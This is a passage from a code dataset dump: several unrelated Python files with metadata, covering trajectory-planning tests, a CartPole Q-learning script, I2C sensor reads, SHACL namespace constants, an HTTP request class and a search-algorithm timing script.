aux.Container(x=S1.eqs.trajectories.n_parts_x,\n u=S1.eqs.trajectories.n_parts_u)}\n S2 = S1.create_new_TP(first_guess=first_guess2)\n S2.solve()\n\n assert S2.reached_accuracy\n\n # now test changed boundary conditions\n\n S3 = S2.create_new_TP(first_guess=first_guess2, xb=[1.5, 0.0])\n S3.solve()\n assert S3.reached_accuracy\n\n def test_di_integrator_pure_with_penalties(self):\n S1 = TransitionProblem(rhs_di_penalties, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_constraint_x2_projective(self):\n con = {'x2': [-1, 10]}\n con = {'x2': [-0.1, 0.65]}\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0, constraints=con,\n show_ir=False,\n ierr=None,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_con_u1_projective_integrator(self):\n con = {'u1': [-1.2, 1.2]}\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0, constraints=con,\n show_ir=False,\n ierr=None,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_con_u1_x2_projective_integrator(self):\n con = {'u1': [-1.3, 1.3], 'x2': [-.1, .8],}\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n constraints=con,\n show_ir=False,\n accIt=0,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_timescaled(self):\n \"\"\"The double integrator with an additional free parameter for time scaling\"\"\"\n con = {'u1': [-1.3, 1.3], 'x2': [-.1, .8],}\n S1 = TransitionProblem(rhs_di_time_scaled, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n constraints=con,\n show_ir=False,\n accIt=0,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n @pytest.mark.xfail(reason=\"yet to implement\", strict=True)\n @unittest.expectedFailure\n def test_di_timescaled_with_penalties(self):\n \"\"\"The double integrator with an additional free parameter for time scaling\"\"\"\n con = {'u1': [-1.3, 1.3], 'x2': [-.1, .8],}\n S1 = TransitionProblem(rhs_di_time_scaled_with_penalties, a=0.0, b=2.0,\n xa=xa_di, xb=xb_di, ua=0, ub=0,\n constraints=con,\n show_ir=False,\n accIt=0,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n # the penalties are not handled correctly yet..\n assert False\n\n def test_brockett_system(self):\n S1 = TransitionProblem(rhs_brockett_system, a=0.0, b=2.0, xa=xa_br, xb=xb_br,\n ua=None, ub=None,\n show_ir=False,\n ierr=None,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n @pytest.mark.slow\n def test_pure_inv_pendulum(self):\n con = None\n eps = 7e-2 # increase runtime-speed (prevent additional run with 80 spline parts)\n S1 = TransitionProblem(rhs_inv_pend, a=0.0, b=3.0, xa=xa_inv_pend, xb=xb_inv_pend,\n ua=0, ub=0, constraints=con,\n show_ir=False,\n accIt=0,\n eps=eps,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n @pytest.mark.slow\n def test_constr_inv_pendulum(self):\n con = { 'x1': [-0.8, 0.3], 'x2': [-2.0, 2.0], 'u1': [-7.0, 7.0] }\n eps = 7e-2 # increase runtime-speed (prevent additional run with 80 spline parts)\n S1 = TransitionProblem(rhs_inv_pend, a=0.0, b=3.0, xa=xa_inv_pend, xb=xb_inv_pend,\n ua=0, ub=0, constraints=con,\n show_ir=False,\n accIt=0,\n eps=eps,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n\n# noinspection PyPep8Naming\nclass TestExamplesParallel(unittest.TestCase):\n\n def setUp(self):\n log_tst_case(self._testMethodName)\n\n def test_di_integrator_pure_parallel(self):\n\n # only one run\n results = aux.parallelizedTP(ff=rhs_di, xa=xa_di, xb=xb_di, ua=0, ub=0, use_chains=False)\n\n assert len(results) == 1\n assert results[0].reached_accuracy\n\n # now vary two parameters\n results = aux.parallelizedTP(ff=rhs_di, xa=xa_di, xb=xb_di, ua=0, ub=0, use_chains=False,\n seed=[0, 1, 2], b=[1, 2])\n\n assert len(results) == 6\n assert [r.reached_accuracy for r in results] == [True]*len(results)\n\nif __name__ == \"__main__\":\n print((\"\\n\"*2 + r\" please run py.test -s -k-slow %filename.py\"+ \"\\n\"))\n # or: py.test -s --pdbcls=IPython.terminal.debugger:TerminalPdb %filename\n\n tests = TestExamples()\n tests2 = TestExamplesParallel()\n\n log.console_handler.setLevel(10)\n\n # tests.test_di_integrator_pure()\n # print \"-\"*10\n # tests.test_di_constraint_x2_projective()\n # print \"-\"*10\n # tests.test_di_con_u1_x2_projective_integrator()\n # tests.test_di_integrator_pure_with_penalties()\n # tests.test_di_integrator_pure_with_random_guess()\n print(\"-\"*10)\n tests2.test_di_integrator_pure()\n # tests.test_di_timescaled()\n\n", "sub_path": "test/test_examples.py", "file_name": "test_examples.py", "file_ext": "py", "file_size_in_byte": 10448, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ipydex.activate_ips_on_exception", "line_number": 18, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 82, "usage_type": "call"}, {"api_name": "sympy.cos", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 99, "usage_type": "attribute"}, {"api_name": "time.ctime", "line_number": 112, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 123, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 131, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 139, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 157, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 169, "usage_type": "call"}, {"api_name": "pytrajectory.auxiliary.Container", "line_number": 178, "usage_type": "call"}, {"api_name": "pytrajectory.auxiliary", "line_number": 178, "usage_type": "name"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 192, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 202, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 211, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 220, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 231, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 244, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 239, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 239, "usage_type": "attribute"}, {"api_name": "unittest.expectedFailure", "line_number": 240, "usage_type": "attribute"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 257, "usage_type": "call"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 269, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pytrajectory.TransitionProblem", "line_number": 282, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 278, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pytrajectory.auxiliary.parallelizedTP", "line_number": 301, "usage_type": "call"}, {"api_name": "pytrajectory.auxiliary", "line_number": 301, "usage_type": "name"}, {"api_name": "pytrajectory.auxiliary.parallelizedTP", "line_number": 307, "usage_type": "call"}, {"api_name": "pytrajectory.auxiliary", "line_number": 307, "usage_type": "name"}, {"api_name": "pytrajectory.log.console_handler.setLevel", "line_number": 320, "usage_type": "call"}, {"api_name": "pytrajectory.log.console_handler", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pytrajectory.log", "line_number": 320, "usage_type": "name"}]} {"seq_id": "177756770", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 15:01:24 2018\n\n@author: sugino0708\n\"\"\"\n\nimport gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 動画の描画関数の宣言\n# 参考URL http://nbviewer.jupyter.org/github/patrickmineault\n# /xcorr-notebooks/blob/master/Render%20OpenAI%20gym%20as%20GIF.ipynb\nfrom JSAnimation.IPython_display import display_animation\nfrom matplotlib import animation\nfrom IPython.display import display\n \n \ndef display_frames_as_gif(frames):\n \"\"\"\n Displays a list of frames as a gif, with controls\n \"\"\"\n plt.figure(figsize=(frames[0].shape[1]/72.0, frames[0].shape[0]/72.0),\n dpi=72)\n patch = plt.imshow(frames[0])\n plt.axis('off')\n \n def animate(i):\n patch.set_data(frames[i])\n \n anim = animation.FuncAnimation(plt.gcf(), animate, frames=len(frames),\n interval=50)\n \n anim.save('movie_cartpole.mp4') # 動画のファイル名と保存です\n display(display_animation(anim, default_mode='loop'))\n \n# 定数の設定\nENV = 'CartPole-v0'\n\nNUM_DIZITIZED = 6 #各状態の離散値への分割数\nGAMMA = 0.99 #時間割引率\nETA =0.5 #学習率\n\nMAX_STEPS = 200 #1試行のstep数\nNUM_EPISODES = 1000 #最大試行回数\n\n\"\"\"\nAgent Class\n\n行動の主体となるエージェントの定義\n\"\"\"\n\nclass Agent:\n def __init__(self, num_states, num_actions):\n \"\"\"\n 課題の状態と行動の数を初期化する\n \"\"\"\n self.num_states = num.states #carpoleの場合、状態数は4種ある\n self.num_actions = num_actions #carpoleの場合、アクション数は2種ある\n self.brain = Brain(num_states, num_actions) #エージェントが行動を決定するための頭脳を生成\n \n def update_q_function(self, observation, action, reward, observation_next):\n \"\"\"\n Q関数の更新\n \"\"\"\n self.brain.update_Qtable(observation, action, reward, observation_next)\n \n def get_action(self, observation, step):\n \"\"\"\n 行動の決定\n \"\"\"\n action = self.brain.decide_action(observation, step)\n return action\n \n\"\"\"\nBrain Class\n\nエージェントが行動を判断するための頭脳\n\"\"\"\n \nclass Brain:\n \n def __init__(self, num_states, num_actions):\n self.num_states = num_states # CartPoleは状態数4を取得\n self.num_actions = num_actions # CartPoleの行動（右に左に押す）の2を取得\n # 状態を分割数^（4変数）にデジタル変換したQ関数（表）を作成\n self.q_table = np.random.uniform(low=0, high=1, size=(NUM_DIZITIZED**self.num_states, self.num_actions))\n \n \n def bins(self, clip_min, clip_max, num):\n \"\"\"\n 観測した状態（連続値）を離散値にデジタル変換する\n \"\"\"\n return np.linspace(clip_min, clip_max, num + 1)[1:-1]\n \n def digitize_state(self, observation):\n \"\"\"\n 観測したobservation状態を、離散値に変換する\n \"\"\"\n cart_pos, cart_v, pole_angle, pole_v = observation\n digitized = [\n np.digitize(cart_pos, bins=self.bins(-2.4, 2.4, NUM_DIZITIZED)),\n np.digitize(cart_v, bins=self.bins(-3.0, 3.0, NUM_DIZITIZED)),\n np.digitize(pole_angle, bins=self.bins(-0.5, 0.5, NUM_DIZITIZED)),\n np.digitize(pole_v, bins=self.bins(-2.0, 2.0, NUM_DIZITIZED))\n ]\n return sum([x * (NUM_DIZITIZED**i) for i, x in enumerate(digitized)]) \n \n def update_Qtable(self, observation, action, reward, observation_next):\n \"\"\"\n Qテーブルを学習により更新\n 観察を離散化\n \"\"\"\n state = self.digitize_state(observation)\n state_next = self.digitize_state(observation_next)\n Max_Q_next = max(self.q_table[state_next][:])\n self.q_table[state, action] = self.q_table[state, action] + ETA * (reward + GAMMA * Max_Q_next - self.q_table[state, action])\n \n \n ", "sub_path": "reinforce_carpole.py", "file_name": "reinforce_carpole.py", "file_ext": "py", "file_size_in_byte": 4015, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "IPython.display.display", "line_number": 36, "usage_type": "call"}, {"api_name": "JSAnimation.IPython_display.display_animation", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 106, "usage_type": "call"}]} {"seq_id": "168907731", "text": "#!/usr/bin/env python3\nfrom __future__ import print_function\nfrom math import trunc\nfrom time import sleep\nimport sys\nimport codecs\n\nfrom periphery import I2C\n\nTCA9548_U93_ADDR = 0x70 #1110_000X 0XE0\nSENSOR_IIC_BUS = 0x01\n\ndef set_i2c_mux(dev_addr,channel):\n i2c = I2C(\"/dev/i2c-1\")\n i2c.transfer(dev_addr, [I2C.Message([channel])])\n i2c.close()\n\ndef ad7414_reg_write(dev_addr,reg_addr,reg_value):\n i2c = I2C(\"/dev/i2c-1\")\n i2c.transfer(dev_addr, [I2C.Message([reg_addr, reg_value])]) # SENSOR_IIC_BUS is selected\n i2c.close()\n\ndef ad7414_reg_read(dev_addr,reg_addr,nbits):\n i2c = I2C(\"/dev/i2c-1\")\n read = I2C.Message([0x0]*nbits, read=True)\n i2c.transfer(dev_addr, [I2C.Message([reg_addr]), read]) # reg for read\n i2c.close()\n return codecs.encode(bytes(bytearray(read.data)), 'hex')\n\ndef ad7414_mon(dev_addr):\n #set the I2C Mux to SENSOR_IIC_BUS 0x01\n set_i2c_mux(TCA9548_U93_ADDR,SENSOR_IIC_BUS)\n\n ad7414_reg_write(dev_addr,0x1,0x48) #alert active low\n ad7414_reg_write(dev_addr,0x2,0x3F) #up limit is 63 Degree\n ad7414_reg_write(dev_addr,0x3,0x80) #low limit is 0 degree\n temperature=ad7414_reg_read(dev_addr,0x0,1)#read the temperature value\n return int(temperature,16)\n\ndef ltc2499_temp_mon(dev_addr,reg_addr0,reg_addr1):\n #set the I2C Mux to SENSOR_IIC_BUS 0x01 PUT INSIDE METHOD\n set_i2c_mux(TCA9548_U93_ADDR,SENSOR_IIC_BUS)\n\n # two delays as the chip is slow\n sleep(0.5)\n i2c = I2C(\"/dev/i2c-1\")\n i2c.transfer(dev_addr, [I2C.Message([reg_addr1,reg_addr0])])# Reg for read\n sleep(0.5)\n\n read = I2C.Message([0x0]*4, read=True)\n i2c.transfer(dev_addr, [read])\n i2c.close()\n adc_code=int(codecs.encode(bytes(bytearray(read.data)),'hex'), 16)\n\n resolution=2500./0x80000000\n amplitude=(adc_code-0x40000000)*resolution\n if(adc_code==0x3FFFFFFF): amplitude=-1\n\n temperature= 326-0.5*amplitude\n return temperature\n", "sub_path": "recipes-core/init/init-i2c-poll/i2c_poll/gfex_temperature.py", "file_name": "gfex_temperature.py", "file_ext": "py", "file_size_in_byte": 1852, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "periphery.I2C", "line_number": 14, "usage_type": "call"}, {"api_name": "periphery.I2C.Message", "line_number": 15, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 15, "usage_type": "name"}, {"api_name": "periphery.I2C", "line_number": 19, "usage_type": "call"}, {"api_name": "periphery.I2C.Message", "line_number": 20, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 20, "usage_type": "name"}, {"api_name": "periphery.I2C", "line_number": 24, "usage_type": "call"}, {"api_name": "periphery.I2C.Message", "line_number": 25, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 25, "usage_type": "name"}, {"api_name": "periphery.I2C.Message", "line_number": 26, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 26, "usage_type": "name"}, {"api_name": "codecs.encode", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 46, "usage_type": "call"}, {"api_name": "periphery.I2C.Message", "line_number": 47, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 47, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "periphery.I2C.Message", "line_number": 50, "usage_type": "call"}, {"api_name": "periphery.I2C", "line_number": 50, "usage_type": "name"}, {"api_name": "codecs.encode", "line_number": 53, "usage_type": "call"}]} {"seq_id": "582747071", "text": "# -*- coding: utf-8 -*-\nfrom rdflib import OWL, RDF, RDFS\nfrom rdflib.namespace import Namespace\n\n\nSH = Namespace('http://www.w3.org/ns/shacl#')\n\n# Classes\nRDF_Property = RDF.term('Property')\nRDF_List = RDF.term('List')\nRDFS_Resource = RDFS.term('Resource')\nRDFS_Class = RDFS.term('Class')\nOWL_Ontology = OWL.term(\"Ontology\")\nOWL_Class = OWL.term(\"Class\")\nOWL_DatatypeProperty = OWL.term(\"DatatypeProperty\")\nSH_NodeShape = SH.term('NodeShape')\nSH_PropertyShape = SH.term('PropertyShape')\nSH_ValidationResult = SH.term('ValidationResult')\nSH_ValidationReport = SH.term('ValidationReport')\nSH_Violation = SH.term('Violation')\nSH_Info = SH.term('Info')\nSH_Warning = SH.term('Warning')\nSH_IRI = SH.term('IRI')\nSH_BlankNode = SH.term('BlankNode')\nSH_Literal = SH.term('Literal')\nSH_BlankNodeOrIRI = SH.term('BlankNodeOrIRI')\nSH_BlankNodeORLiteral = SH.term('BlankNodeOrLiteral')\nSH_IRIOrLiteral = SH.term('IRIOrLiteral')\nSH_ConstraintComponent = SH.term('ConstraintComponent')\nSH_SHACLFunction = SH.term('SHACLFunction')\nSH_SPARQLFunction = SH.term('SPARQLFunction')\nSH_SPARQLRule = SH.term('SPARQLRule')\nSH_TripleRule = SH.term('TripleRule')\nSH_SPARQLTarget = SH.term('SPARQLTarget')\nSH_SPARQLTargetType = SH.term('SPARQLTargetType')\nSH_JSTarget = SH.term('JSTarget')\nSH_JSTargetType = SH.term('JSTargetType')\nSH_JSFunction = SH.term('JSFunction')\n\n# predicates\nRDF_type = RDF.term('type')\nRDF_first = RDF.term('first')\nRDF_rest = RDF.term('rest')\nRDF_object = RDF.term('object')\nRDF_predicate = RDF.term('predicate')\nRDF_subject = RDF.term('subject')\nRDFS_subClassOf = RDFS.term('subClassOf')\nRDFS_comment = RDFS.term('comment')\nSH_path = SH.term('path')\nSH_deactivated = SH.term('deactivated')\nSH_message = SH.term('message')\nSH_name = SH.term('name')\nSH_description = SH.term('description')\nSH_property = SH.term('property')\nSH_node = SH.term('node')\nSH_target = SH.term('target') # from advanced spec\nSH_targetClass = SH.term('targetClass')\nSH_targetNode = SH.term('targetNode')\nSH_targetObjectsOf = SH.term('targetObjectsOf')\nSH_targetSubjectsOf = SH.term('targetSubjectsOf')\nSH_focusNode = SH.term('focusNode')\nSH_resultSeverity = SH.term('resultSeverity')\nSH_resultPath = SH.term('resultPath')\nSH_resultMessage = SH.term('resultMessage')\nSH_sourceConstraint = SH.term('sourceConstraint')\nSH_sourceConstraintComponent = SH.term('sourceConstraintComponent')\nSH_sourceShape = SH.term('sourceShape')\nSH_severity = SH.term('severity')\nSH_value = SH.term('value')\nSH_conforms = SH.term('conforms')\nSH_result = SH.term('result')\nSH_inversePath = SH.term('inversePath')\nSH_alternativePath = SH.term('alternativePath')\nSH_zeroOrMorePath = SH.term('zeroOrMorePath')\nSH_oneOrMorePath = SH.term('oneOrMorePath')\nSH_zeroOrOnePath = SH.term('zeroOrOnePath')\nSH_prefixes = SH.term('prefixes')\nSH_prefix = SH.term('prefix')\nSH_namespace = SH.term('namespace')\nSH_rule = SH.term('rule')\nSH_condition = SH.term('condition')\nSH_order = SH.term('order')\nSH_construct = SH.term('construct')\nSH_subject = SH.term('subject')\nSH_predicate = SH.term('predicate')\nSH_object = SH.term('object')\nSH_parameter = SH.term('parameter')\nSH_ask = SH.term('ask')\nSH_select = SH.term('select')\nSH_this = SH.term('this')\nSH_filterShape = SH.term('filterShape')\nSH_nodes = SH.term('nodes')\nSH_union = SH.term('union')\nSH_intersection = SH.term('intersection')\nSH_datatype = SH.term('datatype')\nSH_nodeKind = SH.term('nodeKind')\nSH_optional = SH.term('optional')\nSH_js = SH.term('js')\nSH_jsFunctionName = SH.term('jsFunctionName')\nSH_jsLibrary = SH.term('jsLibrary')\n", "sub_path": "pyshacl/consts.py", "file_name": "consts.py", "file_ext": "py", "file_size_in_byte": 3532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rdflib.namespace.Namespace", "line_number": 6, "usage_type": "call"}, {"api_name": "rdflib.RDF.term", "line_number": 9, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 9, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 10, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 10, "usage_type": "name"}, {"api_name": "rdflib.RDFS.term", "line_number": 11, "usage_type": "call"}, {"api_name": "rdflib.RDFS", "line_number": 11, "usage_type": "name"}, {"api_name": "rdflib.RDFS.term", "line_number": 12, "usage_type": "call"}, {"api_name": "rdflib.RDFS", "line_number": 12, "usage_type": "name"}, {"api_name": "rdflib.OWL.term", "line_number": 13, "usage_type": "call"}, {"api_name": "rdflib.OWL", "line_number": 13, "usage_type": "name"}, {"api_name": "rdflib.OWL.term", "line_number": 14, "usage_type": "call"}, {"api_name": "rdflib.OWL", "line_number": 14, "usage_type": "name"}, {"api_name": "rdflib.OWL.term", "line_number": 15, "usage_type": "call"}, {"api_name": "rdflib.OWL", "line_number": 15, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 41, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 41, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 42, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 42, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 43, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 43, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 44, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 44, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 45, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 45, "usage_type": "name"}, {"api_name": "rdflib.RDF.term", "line_number": 46, "usage_type": "call"}, {"api_name": "rdflib.RDF", "line_number": 46, "usage_type": "name"}, {"api_name": "rdflib.RDFS.term", "line_number": 47, "usage_type": "call"}, {"api_name": "rdflib.RDFS", "line_number": 47, "usage_type": "name"}, {"api_name": "rdflib.RDFS.term", "line_number": 48, "usage_type": "call"}, {"api_name": "rdflib.RDFS", "line_number": 48, "usage_type": "name"}]} {"seq_id": "16155803", "text": "#! /usr/bin/env python\n# Copyright (c) 2010 Art & Logic Software Development, Inc.\n# \n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n\n\nimport cStringIO\nimport cgi\nimport re\nimport urllib\nimport sys\n\n# match a percent, followed by two hex digits\nkEntityPattern = re.compile(r'%([0-9A-Fa-f]{2})')\n\nclass AHttpException(Exception):\n def __init__(self, code, str):\n self.code = code\n self.str = str\n\n\n\n\n \nclass ARequest(object):\n '''\n Class to represent the incoming client request and our reponse to that\n request.\n \n @ivar command: HTTP verb for this request.\n @ivar path: list of path components (IOW, path/to/file is represented as \n ['path', 'to', 'file']\n @ivar query: dict mapping each keys in the query string to a list of\n values\n @ivar headers: dict containing HTTP headers received from the client\n @ivar client: string containing client IP address\n @ivar postData: dict containing un-encoded post data (key, [list-of-values])\n @ivar responseCode: HTTP response code sent by our code.\n @ivar responseHeaders: dict of HTTP headers to return to the client\n @ivar output: list of strings to return as body of response message\n @ivar outputLength: sum of the lengths of the strings in the output list\n @ivar outputFile: open file object to return to the client as the output\n body -- note that we cannot use both C{output} and C{outputFile}\n at the same time.\n\n @ivar rawPath: full path to the page currently being displayed\n @ivar basePath: portion of path preceding any '?' that may be present\n '''\n def __init__(self, cmd, path=None, headers=None, client=None, postData=None):\n ''' \n Create a new request object, using as many of the input parameters\n as we are provided with. We will use the same request object to hold\n the data that we would like to have sent back to the client.\n\n '''\n self.command = cmd\n if headers:\n self.headers = dict([(k.lower(), v) for (k, v) in headers.items()])\n self.client = client\n self.postData = postData\n self.responseCode = 200\n self.responseHeaders = {}\n self.output = []\n self.outputLength = None\n self.outputFile = None\n self.rawPath = path\n self.basePath = ''\n self.ParsePath(path)\n\n\n def SetHeader(self, key, value):\n self.responseHeaders[key] = value\n\n def GetRequestHeader(self, key):\n try:\n return self.headers[key]\n except KeyError:\n return None\n\n def SetResponseCode(self, code):\n self.responseCode = code\n\n def Redirect(self, location):\n '''\n @param location: path that the browser is told to redirect to. We\n serve up a '302' (temporary) redirect.\n '''\n self.SetResponseCode(302)\n self.SetHeader(\"Location\", location)\n\n def GetQueryData(self, key, fullList=False):\n ''' if the specified key is present in the query data dict, returns it.\n if the 'fullList' parameter is set to TRUE, returns the data as a\n list. otherwise returns a single element.\n If the key isn't present in the query returns None.\n '''\n val = None\n if self.query:\n val = self.query.get(key)\n if val:\n if not fullList:\n val = val[0]\n return val\n\n def GetPostData(self, key, fullList = False):\n ''' if the specified key is present in the post data dict, returns it.\n if the 'fullList' parameter is set to TRUE, returns the data as a\n list. otherwise returns a single element. If the requested key isn't\n present in the post data, returns None.\n '''\n val = None\n if self.postData:\n val = self.postData.get(key)\n if val:\n if not fullList:\n val = val[0]\n return val\n \n\n def Write(self, txt):\n ''' add 'txt' to the list of strings that we're going to send back to\n the client, also updating the output length as we go.\n '''\n self.outputFile = None\n self.output.append(txt)\n if not self.outputLength:\n self.outputLength = 0\n self.outputLength += len(txt)\n \n\n def SetOutputFile(self, outputFile, fileLength):\n ''' used to return a file of data, instead of a string. '''\n self.outputFile = outputFile\n self.output = []\n if not self.outputLength:\n self.outputLength = 0\n self.outputLength = fileLength\n\n def ParsePath(self, pathStr):\n # break off query string if it's there...\n components = pathStr.split(\"?\")\n self.query = {}\n if len(components) > 1:\n # parse the query string into a dict (retaining any keys that have\n # empty values.\n queryVals = cgi.parse_qs(components[1], True)\n for key, val in queryVals.items():\n self.query[key.lower()] = val\n \n else:\n pass\n self.basePath = components[0]\n pathComponents = components[0].split('/')\n # the first path component will always be '' because we get a leading\n # slash -- there can't be anything preceding it -- just throw that one\n # away (similarly, throw away anything that comes after a trailing slash)\n self.path = [urllib.unquote_plus(p).lower() for p in pathComponents if len(p)]\n\n\n", "sub_path": "requirements/Alpc2.1.4/Part1b/Request.py", "file_name": "Request.py", "file_ext": "py", "file_size_in_byte": 6396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.compile", "line_number": 30, "usage_type": "call"}, {"api_name": "cgi.parse_qs", "line_number": 162, "usage_type": "call"}, {"api_name": "urllib.unquote_plus", "line_number": 173, "usage_type": "call"}]} {"seq_id": "329839323", "text": "import time, random\nfrom datetime import datetime\n\n\n# data = [2, 4, 33, 44, 55, 66, 77, 88, 99, 100]\ndata1 = list(range(100000))\n\n\n\ndef call_time(func):\n def wrapper(*args, **kwargs):\n t1 = datetime.now()\n x = func(*args, **kwargs)\n t2 = datetime.now()\n print('%s Time Costed:%s' % (func.__name__, t2-t1))\n return x\n return wrapper\n\n\n@call_time\ndef linear_search(data_set, value):\n for i in range(len(data_set)):\n if data_set[i] == value:\n return print(i)\n\n\nlinear_search(data1, 234232)\n\n\n@call_time\ndef bin_search(data_set, value):\n '''\n\n :param data_set: 所查找的数组\n :param value: 所查找的值\n :return: 所查找值的下标\n '''\n low = 0\n high = len(data_set) - 1 # 下标只到len-1\n while low <= high: # 常规判断\n mid = (low+high)//2\n if data_set[mid] == value:\n return print(mid)\n elif data_set[mid] > value:\n high = mid - 1\n else:\n low = mid + 1\n return print(False)\n\nbin_search(data, 1035)\n\n\n\n\n# def random_list(n):\n# result = []\n# ids = list(range(1001, 1001+n))\n# a1 = ['李', '郑', '刘', '林', '王', ]\n# a2 = ['爱', '光', 